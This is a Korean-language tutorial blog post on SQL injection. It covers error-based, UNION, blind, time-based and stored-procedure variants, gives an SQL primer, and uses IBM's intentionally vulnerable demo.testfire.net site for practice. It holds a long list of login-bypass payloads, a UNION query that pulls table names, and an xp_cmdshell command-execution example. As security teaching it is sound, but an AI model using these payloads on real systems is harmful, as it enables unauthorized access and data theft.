[목차]

 

 

1. SQL Injection 유형

2. SQL Injection 공격 패턴

3. Database 별 에러 정보

4. SQL (Structed Query Language)

5. 실습 : 실습 페이지 소개

 

 

 

 


 

 

 

[SQL Injection 유형]

 

 

1. Error based SQL Injection

에러가 발생되는 사이트에서는 논리적 에러 및 UNION SQL Injection

Logical Error based SQL Injection

UNION SQL Injection

 

 

2. Non-error based SQL Injection(Blind SQL Injection)

에러가 발생되지 않는 사이트에서는 Blind SQL Injection

Time based Blind SQL Injection

Boolean based Blind SQL Injection

 

 


 

 

 

[SQL Injection 공격 패턴]

 

 

1. 논리적 에러를 이용한

SQL Injection(Logical Error based SQL Injection)

 

대표적인 패턴: 1' or '1' = '

다양한 패턴을 통한 우회공격

 

or 1=1

admin'/*

admin') or '1'='1'/*

or 1=1--

admin' or '1'='1

admin" #

or 1=1#

admin' or '1'='1'--

admin"/*

or 1=1/*

admin' or '1'='1'#

admin" or 1=1--

admin' --

admin' or '1'='1'/*

admin" or 1=1#

admin' #

admin'or 1=1 or ''='

admin" or 1=1/*

admin" or "1"="1

admin' or 1=1

admin") or ("1"="1

admin" or "1"="1"--

admin' or 1=1#

admin") or ("1"="1"#

admin" or "1"="1"#

admin' or 1=1/*

admin") or ("1"="1"/*

admin" or "1"="1"/*

admin') or ('1'='1

admin") or "1"="1

admin"or 1=1 or ""="

admin') or ('1'='1'--

admin") or "1"="1"--

admin" or 1=1

admin') or ('1'='1'#

admin") or "1"="1"#

admin") or "1"="1"/*

 

 

 

2. 두 개 이상의 쿼리를 이용하는 union SQL Injection(union SQL Injection)

UNION은 두 개 이상의 쿼리를 요청하여 결과를 얻는 SQL 연산자

공격자는 이를 악용하여 원래의 요청에 한 개의 추가 쿼리를 삽입하여 정보를 얻는 방식

http://www.example.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables

id=5 라는 한 개의 쿼리와 테이블 정보가 들어있는 information_schema.tables를

얻으려는 추가 쿼리가 합쳐진 공격 패턴.

 

 

 

3. 쿼리 가능 여부를 이용하는 Blind SQL Injection(Blind SQL Injection)

사용이유 : 에러가 발생되지 않는 사이트에서는 위 기법들을 사용할 수 없기 때문에

공격 쿼리가 수행되는지 여부를 확인할 수 없다. 그래서 이를 해결하기 위해 참/거짓 조건을 사용

http://www.example.com/news.php?id=5 and 1=1 (참 조건)

http://www.example.com/news.php?id=5 and 1=2 (거짓 조건)

 

 

 

4. 저장 프로시저를 이용하는 Stored Procedure SQL Injection(Stored Procedure SQL Injection)

저장 프로시저는 운영상 편의를 위해 만들어둔 SQL 집합형태.

MS-SQL의 xp_cmdshell는 윈도우 명령어를 실행할 수 있도록 역할을 제공하기 때문에 자주 악용 ehla

http://www.example.com/check.php?id='; create.....r.dbo.xp_cmdshell%20'netstat%20-an';

 

 

 

5. 타임기반의 Blind SQL Injection(Time based Blind SQL Injection)

쿼리 결과를 특정 시간만큼 지연시켜 반응을 보고 공격 가능 여부 판단

http://www.example.com/list.php?cat=1 and sleep(5)

 

 

 

6. 에러 기반의 SQL Injection

특수문자(' 또는 ;) 사용하여 SQL 에러가 발생된다면 취약점이 있는 것으로 판단

 

 

 


 

 

[데이터베이스 별 에러 정보]

 

 

 

 

 

 


 

 

 

[참고] SQL(Structed Query Language)

 

 

1. SQL(Structed Query Language)?

관계형 데이터베이스를 다루는 표준 프로그래밍 언어이다.

1970년대에 IBM 연구소에서 개발되었다.

 

 

2. SQL은 데이터베이스의 테이블을 정의하고 작성, 데이터베이스 추가, 갱신, 삭제 및 검색,

그리고 데이터베이스 보안과 데이터의 연속성을 유지한다.

 

 

3. DDL(Data Definition Language) : 데이터 정의 언어

CREATE : DB와 Table을 생성

ALTER : DB와 Table 구조 변경

DROP : DB와 Table을 삭제

 

 

4. DML(Data Manipulation Lanaguge) : 데이터 조작 언어

SELECT : 테이터 검색(EX: select * from 테이블 where 조건)

INSERT : 데이터 추가(EX: insert into 테이블 values("필드값"))

UPDATE : 데이터 갱신(EX: update 테이블 set 필드명='필드값')

DELETE : 데이터 삭제(EX: delete from 테이블 where 조건)

 

 

5. DCL(Data Control Language) : 데이터 제어 언어

GRANT : 데이터 조작 권한을 사용자에게 제공

REVOKE : 데이터 조작 권한을 사용자에게 제거

COMMIT : 데이터 변경을 최종 확인

ROLLBACK : 데이터 변경을 취소

 

 

 


 

 

[실습]

 

 

https://demo.testfire.net/login.jsp

 

 

http://demo.testfire.net 사이트에 대한 소개

: AltoroJ 웹 사이트는 IBM 응용 프로그램의 취약점과

웹 사이트 결함을 탐지하는 IBM 제품의 효과를 입증하기 위한 목적으로

IBM Corporation에 의해 게시되었습니다.

 

이 사이트는 실제 은행 사이트가 아닙니다.

제 3 자 제품 및 또는 웹 사이트와의 유사점은 순전히 우연의 일치입니다.

이 사이트는 명시 적 또는 묵시적으로 어떠한 종류의 보증도없이 "있는 그대로"제공됩니다.

IBM은 귀하가 본 웹 사이트 사용과 관련하여 어떠한 위험 부담도지지 않습니다.

직접 취약한 사이트를 내부에 구성해 보기 위해서는 다음과 같은 URL를 참고합니다.

http://purpleskypeter.blogspot.com/2019/03/setup-AltoroJ.html

 

 

 

sql injection 공격으로 로그인에 성공해보자!

taku' or 1=1 --

 

728x90
반응형

+ Recent posts